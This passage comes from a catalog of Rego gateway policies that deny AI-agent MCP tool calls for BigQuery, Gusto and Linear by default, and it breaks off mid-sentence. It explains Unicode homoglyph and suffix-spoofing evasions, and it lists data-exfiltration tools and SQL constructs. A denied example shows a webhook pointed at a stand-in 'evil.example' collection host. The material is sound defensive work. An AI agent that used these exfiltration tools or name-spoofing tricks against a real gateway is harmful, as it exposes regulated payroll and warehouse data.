does not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software on the agent channel: any tool the tenant has not audited — including a self-expanding toolset's additions — is unauthorized-by-default on the MCP path (partial — covers the MCP path only). - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools, newly enabled AI-analytics surfaces) as observable gateway events that feed anomaly monitoring and event evaluation (partial — the alerting/monitoring itself is a platform property, not this policy). - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new data-bearing BigQuery tool is "inaccessible until audited," and access requires a deliberate allowlist change. - **HIPAA §164.308(a)(4) / §164.312(a)(1)** — supports information access management and access control on the MCP path: a warehouse that in healthcare orgs holds PHI is reachable only through the explicitly audited tool names on the allowlist, not the whole surface an OAuth grant / IAM role exposes, so an unreviewed or self-expanding tool cannot access PHI-bearing datasets by default (partial — covers the MCP path only, and gates the tool surface, not per-dataset entitlement; pair with `fence-sensitive-datasets`). - **PCI DSS 7.2.1 / 7.2.6** — supports the least-privilege access model and the restriction of programmatic query access to stored cardholder data: only audited tool names can reach a warehouse that may hold CHD, and any unaudited, renamed, or self-expanding tool is denied by default until it is reviewed and added. ## Tool name matching BigQuery MCP tool names are **unprefixed by the vendor** (verified in the app research): both official servers use bare snake_case (`execute_sql`, `list_dataset_ids`) with no vendor prefix, and the community servers use bare snake_case / kebab-case. Behind the DTwo gateway each appears as `-`, and that prefix is not standardized across deployments. To cover the gateway prefix with a single allowlist entry, the policy matches case-insensitively on `lower(input.resource.name)` with **`endswith`** against each audited name: - `execute_sql` (bare) — matches, - `bigquery-mcp-execute_sql` (gateway-prefixed) — ends with `execute_sql`, matches, - `execute_sql_readonly` — a **separate** entry, because `execute_sql_readonly` does **not** end with `execute_sql`; both official names must be listed. Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), so an allowlisted suffix could otherwise be spoofed with a folded homoglyph. A name containing any character outside that ASCII set — including whitespace padding or a spliced newline — is denied. ## Allowlisted tools The starter allowlist covers the **verified** names: - **Official Google remote server + MCP Toolbox prebuilt toolset** (snake_case): `execute_sql`, `execute_sql_readonly`, `list_dataset_ids`, `list_table_ids`, `get_dataset_info`, `get_table_info`. - **`ergut/mcp-bigquery-server`** (community, single tool): `query`. - **`LucasHild/mcp-server-bigquery`** (community, kebab-case): `execute-query`, `list-tables`, `describe-table`. Everything else is deliberately **excluded** and must be audited before it is added, including the **MCP Toolbox self-expanding AI-analytics tools** — `ask_data_insights`, `forecast`, `analyze_contribution`, `search_catalog` — which move table data to other Google APIs and are the reason default-deny is the right posture for this toolset. ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the official, Toolbox, and community servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than passed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow` and `reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-execute_sql", "type": "tool" }, "payload": { "name": "bigquery-mcp-execute_sql", "args": { "sql": "SELECT id FROM ds.orders LIMIT 10" } } } } ``` `allow = true`, no reason. (The SQL text itself is governed by the companion `guard-warehouse-sql` policy.) ### Denied — self-expanding AI-analytics tool ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "bigquery-mcp-ask_data_insights", "type": "tool" }, "payload": { "name": "bigquery-mcp-ask_data_insights", "args": { "table": "ds.customers", "question": "top spenders?" } } } } ``` `allow = false`, `reason = "This BigQuery tool is not on the audited BigQuery allowlist (...)"`. (`ask_data_insights` does not end with any allowlisted suffix, so the Conversational-Analytics data-movement tool stays denied until reviewed.) ## Composition This policy is the outer gate — it decides *which* BigQuery tools exist for agents. Pair it with policies that constrain *how* the allowlisted tools are used: - [`guard-warehouse-sql`](../guard-warehouse-sql/policy.md) — blocks DML/DDL/destructive statements in the `sql` argument of the allowlisted write-capable SQL tools. - [`guard-warehouse-export`](../guard-warehouse-export/policy.md) — blocks `EXPORT DATA` / `EXTERNAL_QUERY` exfiltration constructs inside SQL. - [`fence-sensitive-datasets`](../fence-sensitive-datasets/policy.md) — fences regulated datasets referenced by `sql` and by the metadata tools this gate admits. - [`redact-pii-egress`](../redact-pii-egress/policy.md) — egress backstop that masks PII/PAN in query results, since a permitted `SELECT *` can still return regulated data in bulk. ## Known limitations - **The starter allowlist is not your tool list.** Pinning it to the suffixes your tenant has actually reviewed is a required deployment step, not a tuning step, and it must be **re-pinned whenever the upstream server adds tools** — the MCP Toolbox toolset in particular self-expands. If you swap in or add a community server, every tool it adds is denied until you introspect and add it. - **`endswith` matching trusts the suffix, not a separator.** To absorb any gateway server-name prefix with one entry, matching does not require a separator before the suffix — this relies on the documented BigQuery tool names being **unprefixed by the vendor** (verified in the app research), so the only prefix on the wire is the gateway's `-`. As a result a tool literally named `execute_sql` (any prefix glued directly onto an allowlisted suffix) would also match, and the short community suffix `query` is the loosest — it matches any name ending in `query`, so an unaudited or foreign tool such as `run_arbitrary_query` (for example a different server's tool on a shared pipeline) is admitted rather than flagged as drift (note too that the common server-name stem `bigquery` itself ends in `query`). No tool in the current BigQuery inventory collides this way — notably the excluded AI-analytics tools `ask_data_insights`, `forecast`, `analyze_contribution`, and `search_catalog` do **not** end with any allowlisted suffix and are denied — but if your deployment needs stricter matching, replace the suffix entries with the exact full gateway tool names. - **Attach to the BigQuery server's pipeline.** Because the gate denies every name that does not end in an allowlisted BigQuery suffix, attaching it to a shared multi-server pipeline would deny tools on other servers too. Attach it to the BigQuery server's pipeline (where denying everything unaudited is the intent), or add those other servers' audited suffixes to the allowlist. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing, whitespace smuggling, and spliced newlines), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tool that keeps an allowlisted name but changes behavior upstream bypasses the intent while matching the letter. Re-audit when upstream servers change. - **Exact upstream suffixes unverified for your gateway.** The official, Toolbox, and community names are verified from their docs, but the string your gateway actually sends depends on the configured server name. Confirm with dump-input before pinning. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call unaudited tools, add a separate `allow if` branch gated on `input.subject.claims` groups. (Group names would be placeholders — replace them with your IdP's group name at import time.) > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package bigquery.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only if its name ends with an audited # allowlist suffix below. A missing, empty, non-string, or non-ASCII tool name # matches nothing and is therefore denied (fail closed). default allow := false # Audited BigQuery tool-name suffixes — STARTER SET. Pin to the suffixes YOUR # tenant has actually reviewed at import time (see the policy description), and # RE-PIN whenever the upstream server adds tools. Matched with endswith so one # entry also absorbs any gateway server-name prefix # (bigquery-mcp-execute_sql -> ends with execute_sql). This works because # BigQuery MCP tool names are UNPREFIXED by the vendor (verified in the app # research) — the only prefix on the wire is the gateway's -. # # Verified names (do NOT shorten into overlapping stems — keep each specific # enough to preserve drift detection; execute_sql and execute_sql_readonly are # separate because neither is a suffix of the other): # - Official Google remote server + MCP Toolbox prebuilt toolset (snake_case): # execute_sql, execute_sql_readonly, list_dataset_ids, list_table_ids, # get_dataset_info, get_table_info # - ergut/mcp-bigquery-server (community, single tool): query # - LucasHild/mcp-server-bigquery (community, kebab-case): # execute-query, list-tables, describe-table # # Deliberately EXCLUDED — default-deny by design, audit before adding any. The # MCP Toolbox prebuilt toolset self-expands with AI-analytics tools that move # table data to OTHER Google APIs; a tenant must consciously review/add them: # ask_data_insights (Conversational Analytics API — ships table data out), # forecast, analyze_contribution, search_catalog allowed_tool_suffixes := [ # --- Official Google remote server + MCP Toolbox prebuilt toolset --- "execute_sql", "execute_sql_readonly", "list_dataset_ids", "list_table_ids", "get_dataset_info", "get_table_info", # --- ergut/mcp-bigquery-server (community) --- "query", # --- LucasHild/mcp-server-bigquery (community) --- "execute-query", "list-tables", "describe-table", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real BigQuery tool names # (snake_case and kebab-case) and gateway - prefixes use only ASCII # letters, digits, underscore, dot, and hyphen. Checking the raw name BEFORE # lower() closes a Unicode case-folding evasion: lower() folds some non-ASCII # code points onto ASCII letters (e.g. the Kelvin sign U+212A -> "k"), so an # allowlisted suffix could be spoofed with a folded homoglyph and slip past the # default-deny gate despite being a visibly different, un-audited name. The regex # is NOT multiline in OPA/Go, so whitespace padding or a spliced newline breaks # the whole-string match. Guarded by is_string so a non-string name still yields # a clean, reasoned deny. raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Allow only when the name ends with an audited suffix. endswith (no separator # requirement) is intentional: it matches the bare vendor name (execute_sql) and # any gateway server-name prefix (bigquery-mcp-execute_sql) with a single # allowlist entry. See Known limitations for the residual this trades for. allow if { raw_name_is_plain_ascii some suffix in allowed_tool_suffixes endswith(tool_name, suffix) } reason := "This BigQuery tool is not on the audited BigQuery allowlist, so the gateway denies it by default and surfaces the call as tool drift. The allowlist pins the verified official Google / MCP Toolbox tools (execute_sql, execute_sql_readonly, list_dataset_ids, list_table_ids, get_dataset_info, get_table_info) and the community server tools (query, execute-query, list-tables, describe-table); a newly added, renamed, or self-expanding upstream tool — including the MCP Toolbox AI-analytics tools (ask_data_insights, forecast, analyze_contribution, search_catalog) that move table data to other Google APIs — is not on it and must fail closed until it is reviewed. If this tool is legitimate, contact your gateway admin to introspect it live and add its verified name to the per-tenant allowlist in this policy after review." if not allow ``` ### Default-Deny Unknown Gusto Tools URL: https://www.intentbasedpolicy.com/policies/gusto/default-deny-unknown-tools App(s): gusto | Direction: ingress | Bundles: soc2 | Package: gusto.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: gusto, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/gusto/default-deny-unknown-tools/policy.md # gusto / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only tool names on the pinned allowlist pass **Package:** `gusto.ingress.default_deny_unknown_tools` ## What it does Pins an allowlist of the **36 official Gusto MCP tool names** and allows a call only when `lower(input.resource.name)` is an exact member of that list. Everything else is denied before it reaches the Gusto server and surfaced as a gateway event — the drift signal that flags a new, renamed, or unrecognized tool the moment it first appears. `allow` defaults to `false`, so an unrecognized, missing, empty, non-string, or non-ASCII tool name matches nothing and fails **closed**. This is the outer boundary for the Gusto pipeline: the default state of any tool the tenant has not enumerated is "inaccessible." Gusto is a payroll system — **nearly every tool returns regulated data** (PII, salaries, home addresses, contractor payments; on non-official servers, bank accounts, pay stubs, and tax IDs). The official vendor server is strictly read-only, so there is no destructive-write or raw-SQL surface here; matching is therefore about *which reads the agent can reach*, and about catching the three real ways the Gusto tool surface diverges from the audited official set: - **Aggregator servers (StackOne).** A tenant wiring Gusto through StackOne (72 actions, including create/update/delete and payroll deletion) exposes a write surface the official server does not have. StackOne's unified action IDs are **not published verbatim** and could not be verified (they typically follow an `hris_*` shape — unverified for Gusto specifically). None of them match an official name, so every one is denied until explicitly audited and re-pinned. - **Community servers (kebab-case + wider read surface).** The `Savinda96/gusto-mcp` community server names its tools in **kebab-case** (`get-all-employees`, `get-payrolls`, `get-company-details` — verified from source), which never match the official `snake_case` names. Other community wrappers surface deeper sensitive reads than the official server (company / contractor **bank accounts**, **pay stubs**, federal/state **tax IDs**, garnishment agencies). All are denied by default. - **Renamed or newly added upstream tools.** Any official tool that is renamed, versioned, or added upstream stops matching an allowlisted name and is denied until it is re-audited — the default-deny-by-design posture. ## Pin the allowlist to YOUR pipeline at import time The shipped `allowed_tool_names` array is the **36 bare official Gusto names**, verified verbatim from [docs.gusto.com](https://docs.gusto.com/app-integrations/docs/mcp). Matching is **exact** (no suffix, no prefix stripping) — this is deliberate, because exact matching is what gives the strong drift guarantee: any prefix change, rename, kebab-case spelling, or aggregator action ID is a non-member and is denied. Exact matching has one direct consequence you **must** handle at import time: the DTwo gateway prepends the configured MCP server name to every tool (`-`), so on a prefixed deployment the gateway sends `gusto-mcp-get_payroll`, not the bare `get_payroll` — and the bare starter list will deny it. **Pin the array to the exact strings your gateway sends**: prefix each entry with your server name (verify it with the dump-input debug technique), or, if you swap the official server for a community/aggregator server, replace the list with that server's audited tool names. The allowlist is **per-pipeline, pinned to the specific Gusto implementation in use** — when you change servers, you re-pin. Until you do, the swapped-in tools are denied (which is the point). ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach Gusto tools that were explicitly reviewed and enumerated. - **SOC 2 CC6.6** — supports boundary protection: upstream-added, renamed, or server-swapped tools (aggregator write actions, community kebab-case reads, deeper bank-account/tax-ID reads) do not become reachable through the gateway boundary without an explicit allowlist change. - **SOC 2 CC6.8** — supports prevention of unauthorized software: tools not on the audited list are unauthorized-by-default on the agent path. - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools, swapped-in aggregator or community surfaces) as observable gateway events that feed anomaly monitoring and event evaluation. - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new Gusto tool is "inaccessible until audited," and Gusto tools routinely return personal data (names, dates of birth, home addresses, compensation, contractor payments). ## Tool name matching Official Gusto tool names are **bare `snake_case`** with no vendor prefix on most tools — two carry `gusto` mid-name (`list_gusto_companies`, `get_gusto_employee`) to disambiguate in multi-connector sessions. Matching is case-insensitive (`lower(input.resource.name)`) and **exact** against the pinned list. There is intentionally no `endswith`/suffix matching: a suffix match would auto-admit a future or renamed tool that merely ends in an allowlisted string, silently defeating the drift-detection posture that is the whole point of this policy. Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This is checked before `lower()` runs, which closes a Unicode case-folding evasion: `lower()` folds a handful of non-ASCII code points onto ASCII letters (e.g. the Kelvin sign `U+212A` → `k`), and several allowlisted names contain `k` (`get_token_info`), so a homoglyph could otherwise fold onto a member. A name containing any character outside that ASCII set is denied. ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the official, aggregator, and community servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than handed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow`/`reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "get_payroll", "type": "tool" }, "payload": { "name": "get_payroll", "args": { "company_uuid": "c-123", "payroll_uuid": "p-456" } } } } ``` `allow = true`, no reason. ### Denied — community kebab-case name ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "get-all-employees", "type": "tool" }, "payload": { "name": "get-all-employees", "args": { "terminated": false } } } } ``` `allow = false`, `reason = "This Gusto tool is not on the audited allowlist (...)"`. ## Composition This policy is the outer gate — it decides *which* Gusto tools exist for agents. Because Gusto exposes no raw-SQL / query surface, there is **no PF-07 `guard-warehouse-sql` companion** here; PF-28 alone is the drift and unknown-tool backstop for this app. Pair it with policies that constrain *how* the allowlisted reads are used: - An **ingress deny — compensation/payroll reads by IdP group** so salary and pay-register tools (`get_compensation`, `list_job_compensations`, `get_payroll`, `list_company_payrolls`, `list_company_contractor_payments`) are gated to an HR/payroll group even when they are on the allowlist. - An **egress redaction policy** on employee/payroll responses so home-address, SSN-like, bank-account, and routing-number strings are masked before they reach the model — cheap insurance if a tenant later re-pins to a community/aggregator server that surfaces bank data. - An **ingress anti-bulk-export transform** clamping `per` and stripping `include=custom_fields` on `list_company_employees` / `list_company_contractors` to throttle full-roster exfiltration. ## Known limitations - **The starter allowlist is the official server's names, not your gateway's strings.** Pinning it to the exact names your gateway sends (server prefix included) is a required deployment step, not a tuning step. On a prefixed deployment the bare starter list denies every real call until you re-pin. - **StackOne aggregator action IDs are unverified.** The landscape note records that StackOne's Gusto tool-name strings are not published verbatim and could not be verified (they likely follow an `hris_*` shape). This policy does not enumerate them by name — it denies them by default because they are not official names. If you deliberately adopt StackOne, discover its exact tool names with dump-input and pin the ones you audit. - **Single-app gate.** This policy denies *everything* not on the list, so it is intended for a Gusto-scoped pipeline. If you attach it to a pipeline that also fronts other MCP servers, those servers' tools are denied too — attach it to the Gusto pipeline, or add the other servers' audited names to the list. - **ASCII-only tool names.** Matching requires the raw name to be `[A-Za-z0-9._-]`. This is deliberate (it blocks Unicode case-fold and homoglyph spoofing), but a deployment whose configured MCP server name contains other characters (spaces, `@`, `/`, non-ASCII) would see even its legitimate tools denied; rename the server to an ASCII slug, or relax the character class, if so. - **Name-based trust only.** The policy audits tool *names*, not behavior. A tool that keeps an allowlisted name but changes behavior upstream bypasses the intent while matching the letter. Re-audit when the upstream server changes. - **No identity-based exemptions.** All callers face the same allowlist. If you need a platform-admin break-glass group that can call an unaudited tool, add a separate `allow if` branch gated on `input.subject.claims` groups. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package gusto.ingress.default_deny_unknown_tools # Deny-by-default: a tool call is allowed only if its name is an EXACT member of # the audited allowlist below. A missing, empty, non-string, or non-ASCII tool # name matches nothing and is therefore denied (fail closed). default allow := false # The 36 official Gusto MCP tool names — verified verbatim from # docs.gusto.com/app-integrations/docs/mcp. The official server is READ-ONLY; # there are no create/update/delete or raw-SQL tools, so this is the complete # audited surface for the official implementation. # # STARTER SET — pin to the exact strings YOUR gateway sends at import time. # The gateway prepends the configured server name (-), # so on a prefixed deployment you must prefix each entry (e.g. gusto-mcp-get_payroll). # Matching is EXACT (no suffix, no prefix stripping): this is what makes drift # detection strong — StackOne aggregator action IDs (unverified, ~hris_*), # community kebab-case names (get-all-employees, get-payrolls), and any renamed # or newly added upstream tool are all non-members and are denied until re-pinned. # Lower-case only. allowed_tool_names := [ # Company / org "list_gusto_companies", "list_company_locations", "list_company_departments", "get_department", "get_location", # Employees "list_company_employees", "get_gusto_employee", "list_employee_jobs", "get_job", "list_job_compensations", "get_compensation", "list_employee_employment_history", "list_employee_terminations", "get_employee_rehire", "list_employee_custom_fields", "list_employee_home_addresses", "get_employee_home_address", "list_employee_work_addresses", "get_employee_work_address", # Contractors "list_company_contractors", "get_contractor", "list_company_contractor_payments", "get_contractor_payment", "list_company_contractor_payment_groups", "get_contractor_payment_group", # Payroll "list_company_payrolls", "get_payroll", "list_company_pay_schedules", "get_pay_schedule", "list_company_pay_periods", "list_company_pay_schedule_assignments", "list_company_earning_types", # Time tracking "list_company_time_sheets", "get_time_sheet", # Utility "get_token_info", "list_company_custom_fields_schema", ] # Raw tool name straight from the request. Missing resource/name resolves to "" # via object.get and matches nothing (fail closed). raw_tool_name := object.get(object.get(input, "resource", {}), "name", "") # Tool name, lowercased. A non-string name (null, number, object, array — a # malformed or hostile request) is coerced to "" instead of being handed to # lower(), which would raise a built-in type error and leave allow/reason # undefined. Coercing keeps the decision a clean, reasoned deny (fail closed). tool_name := lower(raw_tool_name) if is_string(raw_tool_name) tool_name := "" if not is_string(raw_tool_name) # Character-class guard on the RAW (pre-lowercase) name. Real Gusto / community # tool names and gateway - prefixes use only ASCII letters, digits, # underscore, dot, and hyphen. Checking the raw name BEFORE lower() closes a # Unicode case-folding evasion: lower() folds some non-ASCII code points onto # ASCII letters (e.g. the Kelvin sign U+212A -> "k"), and allowlisted names such # as get_token_info contain "k", so a homoglyph could otherwise fold onto a # member and slip past the default-deny gate despite being a visibly different, # un-audited name. Guarded by is_string so a non-string name still yields a # clean, reasoned deny (no built-in type error). raw_name_is_plain_ascii if { is_string(raw_tool_name) regex.match(`^[A-Za-z0-9._-]+$`, raw_tool_name) } # Allow only when the raw name is plain ASCII AND lowercases to an exact member # of the audited allowlist. Exact match (no suffix) is intentional — see the # allowlist comment and the policy description. allow if { raw_name_is_plain_ascii some name in allowed_tool_names tool_name == name } reason := "This Gusto tool is not on the audited allowlist, so the gateway denies it by default and surfaces the call as tool drift. The allowlist pins the 36 read-only official Gusto tool names; anything else — StackOne aggregator write actions, community kebab-case tools (get-all-employees, get-payrolls) with their wider bank-account / pay-stub / tax-ID read surface, or a renamed or newly added upstream tool — is denied until it is re-audited. If this tool is legitimate, ask a gateway admin to review it and, once approved, add its exact name (with your server-name prefix) to the allowlist for this Gusto pipeline." if not allow ``` ### Default-Deny Unknown Linear Tools URL: https://www.intentbasedpolicy.com/policies/linear/default-deny-unknown-tools App(s): linear | Direction: ingress | Bundles: soc2 | Package: linear.ingress.default_deny_unknown_tools | Published: 2026-07-12 | Tags: linear, default-deny-unknown-tools, allowlist, ingress, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/linear/default-deny-unknown-tools/policy.md # linear / default-deny-unknown-tools **Direction:** ingress (`tool_pre_invoke`) **Default:** deny — only tools whose name matches the pinned allowlist pass **Package:** `linear.ingress.default_deny_unknown_tools` ## What it does Pins an audited allowlist of the **verified official Linear MCP tool names** and allows a call only when the incoming tool name matches an allowlisted name on its **suffix** (case-insensitive, separator-tolerant). Everything else is denied before it reaches the Linear server and surfaced as a gateway event — the drift signal that flags a new, renamed, aggregator-added, or community-server tool the moment it first appears. `allow` defaults to `false`, so an unrecognized, missing, empty, non-string, or non-ASCII tool name matches nothing and fails **closed**. This is the outer boundary for the Linear pipeline: the default state of any tool the tenant has not enumerated is "inaccessible." Linear is the sharp case for a default-deny gate because its tool surface is a moving, three-headed target: - **The official set drifts upward and is undocumented.** Linear publishes no tools reference ("more functionality on the way"), and catalogs have counted the official set at 22 → 25 → ~31 across 2025-2026. The February 2026 product-management drop added create/edit tools for **initiatives, initiative updates, project milestones, and project updates** — but their exact tool names are **unverified** (aggregators guess `create_initiative`, `create_project_update`-style names; confirm on a live `tools/list`). This policy does **not** invent those names: they are denied until an operator verifies and pins them. - **The `tacticlaunch` community sidecar exposes ~150 far more dangerous tools.** Where the official server is a ~24-tool read/write surface with **no delete/archive tools at all**, `tacticlaunch/mcp-linear` surfaces the whole GraphQL API: `linear_createWebhook` (a standing out-of-band exfiltration feed), `linear_logoutSession` / `linear_logoutAllSessions` (account-level DoS), `linear_getOrganizationAuditEvents` / `linear_getUserAuditEvents` (org-wide surveillance), plus ~45 delete/archive tools and membership-mutation tools. None of these matches an allowlisted official action name, so every one is denied until an operator reviews it. - **Three naming schemes for the same actions.** The official server uses bare `snake_case` (`create_issue`), `tacticlaunch` uses `linear_` + camelCase (`linear_createIssue`), and the deprecated `jerhadf` server uses `linear_` + snake_case (`linear_create_issue`). Behind a DTwo gateway each also gets the configured server-name prefix. The allowlist is one set of canonical official action names; matching is case-insensitive, separator-tolerant, and suffix-anchored so a single pinned name spans all three spellings (see **Tool name matching**). ## Pin the allowlist to YOUR pipeline at import time The shipped `allowed_tool_names` array is the **verified official Linear baseline enumerated in the landscape note** (Fiberplane's November 2025 analysis, corroborated by remote-mcp.com): 23 workspace read/write tools plus `search_documentation` (Linear help docs, not workspace data) — 24 distinct verified names in all. (The source labels this "the 23-tool baseline"; its own enumeration lists 24 distinct names, so all 24 are pinned here rather than guessing which to drop.) This is a **per-tenant starting point, not a finished allowlist**: the official set drifts, the February 2026 tool names are unverified, and your tenant may run a community or aggregator server instead. Before you enable deny mode, **re-enumerate your live surface with a `tools/list` call and pin your own allowlist.** Because matching is suffix-anchored, the gateway's `-` prefix does **not** need to be added to each entry — a bare canonical name matches the prefixed call on its suffix. But if you swap the official server for `tacticlaunch` or a StackOne-style aggregator, the *verb vocabulary* changes (the community server uses `getIssues` where the official server uses `list_issues`), so most of the seed list will no longer match and you must re-pin to the audited names your server actually exposes. ## Compliance alignment - **SOC 2 CC6.1** — supports logical access security over protected assets: the agent channel can only reach Linear tools that were explicitly reviewed and enumerated. (coverage-matrix §2.1, PF-28) - **SOC 2 CC6.6** — supports boundary protection against external threats: upstream-added, renamed, or server-swapped tools (`tacticlaunch` webhooks, session logout, audit reads, deletes; aggregator write actions) do not become reachable through the gateway boundary without an explicit allowlist change. (coverage-matrix §2.1, PF-28) - **SOC 2 CC6.8** — supports prevention of unauthorized software: tools not on the audited list are unauthorized-by-default on the agent path. (coverage-matrix §2.1, PF-28) - **SOC 2 CC7.2 / CC7.3** — deny decisions from this policy surface tool drift (new/renamed upstream tools, swapped-in aggregator or community surfaces) as observable gateway events that feed anomaly monitoring and event evaluation. (coverage-matrix §2.1, "PF-28 alerts") - **GDPR Art. 25** — supports data protection by design and by default on the agent channel: the default state of any new Linear tool is "inaccessible until audited," and Linear tools routinely return personal and confidential data (assignees, commenters, customer records, security-issue tickets, unreleased roadmaps and initiative updates). (coverage-matrix §2.4, PF-28) ## Tool name matching Matching is on `lower(input.resource.name)` and is **suffix-anchored with a separator boundary**, so one canonical allowlisted name spans the three real naming schemes: - The **bare official** name matches exactly (`create_issue`). - A **prefixed** name matches when the allowlisted name follows a separator (`_`, `-`, or `.`): the gateway `-` prefix (`linear-mcp-create_issue`) and the `jerhadf` `linear_` prefix (`linear_create_issue`) both clear this. - The **`tacticlaunch` camelCase** spelling is covered by also matching each allowlisted name with its underscores stripped (`create_issue` → `createissue`), so `linear_createIssue` (lowercased `linear_createissue`, ending in `_createissue`) matches. The separator boundary is deliberate: a crafted name that merely *ends in* an allowlisted string without a separator before it — e.g. `superCreateIssue` — is **denied**, because matching requires either a full-string equality or an `_` / `-` / `.` immediately before the allowlisted suffix. This closes the "long name ending in an allowed suffix" bypass that a naive `endswith` would admit. Before matching, the **raw** (pre-lowercase) name must consist only of the ASCII set real tool names and gateway prefixes use — `[A-Za-z0-9._-]`. This check runs **before** `lower()`, which closes a Unicode case-folding / homoglyph evasion: `lower()` can fold some non-ASCII code points onto ASCII letters, and a homoglyph in the prefix could otherwise fabricate a fake separator boundary. Any name with a character outside that set is denied. Note this is intentionally more permissive than an *exact-match* PF-28 gate (like the Gusto one): Linear's three-scheme naming forces suffix matching, and the tradeoff is the crafted-suffix residual documented under **Known limitations**. Where a single fixed naming scheme is known, prefer exact match. ## Argument shape This policy inspects only the tool **name** (`input.resource.name`); it reads no arguments, so it is insensitive to argument-shape differences between the official, `tacticlaunch`, and `jerhadf` servers. A missing `resource` or `resource.name` resolves to `""` via `object.get` and matches nothing (deny). A **non-string** name (null, number, object, array — a malformed or hostile request) is coerced to `""` rather than handed to `lower()`; without that guard `lower()` would raise a built-in type error that leaves `allow`/`reason` undefined — a deny with no surfaced reason. With the guard it is a clean, reasoned deny. ## Examples ### Allowed — bare official name ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "create_issue", "type": "tool" }, "payload": { "name": "create_issue", "args": { "title": "Fix login bug", "teamId": "t-123" } } } } ``` `allow = true`, no reason. ### Allowed — tacticlaunch camelCase spelling of an allowlisted action ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear-mcp-linear_createIssue", "type": "tool" }, "payload": { "name": "linear-mcp-linear_createIssue", "args": { "title": "Fix login bug", "teamId": "t-123" } } } } ``` `allow = true` (matches `create_issue` on its underscore-stripped suffix). ### Denied — dangerous community tool (standing webhook) ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "linear-mcp-linear_createWebhook", "type": "tool" }, "payload": { "name": "linear-mcp-linear_createWebhook", "args": { "url": "https://evil.example/collect", "resourceTypes": ["Issue"] } } } } ``` `allow = false`, `reason = "This Linear tool is not on the audited allowlist (...)"`. ## Composition This policy is the outer gate — it decides *which* Linear tools exist for agents. Pair it with policies that constrain *how* the allowlisted tools are used (all drawn from the Linear landscape note's candidate list): - A **webhook / persistence lockdown** ingress deny (`*createWebhook`, `*deleteWebhook`) — redundant with this gate while the seed list holds, but valuable defense-in-depth if a tenant widens the allowlist. - A **destructive-suffix deny** (`*delete*` / `*archive*` / `*logout*`) gated to an admin IdP group, for tenants that adopt the community sidecar. - A **roadmap/initiative egress gate** and **customer-data redaction** egress transform, since even allowlisted reads (`list_projects`, `list_documents`) can surface unreleased plans and customer records. - An **impersonation strip** transform on comment tools to remove `createAsUser` / `displayIconUrl` args (the `jerhadf` server bakes comment impersonation into its schema). ## Known limitations - **The seed list is only the verified November 2025 baseline.** It is 24 verified official names; it is **not** a complete or current allowlist. Linear's official set drifts upward (catalogs count 22 / 25 / ~31), and the **February 2026 initiative / milestone / project-update tool names are unverified** — this policy denies them until an operator confirms their exact names via a live `tools/list` and pins them. **Confirm and re-pin the allowlist per tenant before enabling deny mode.** - **Suffix matching admits a crafted-suffix residual.** Because Linear's three naming 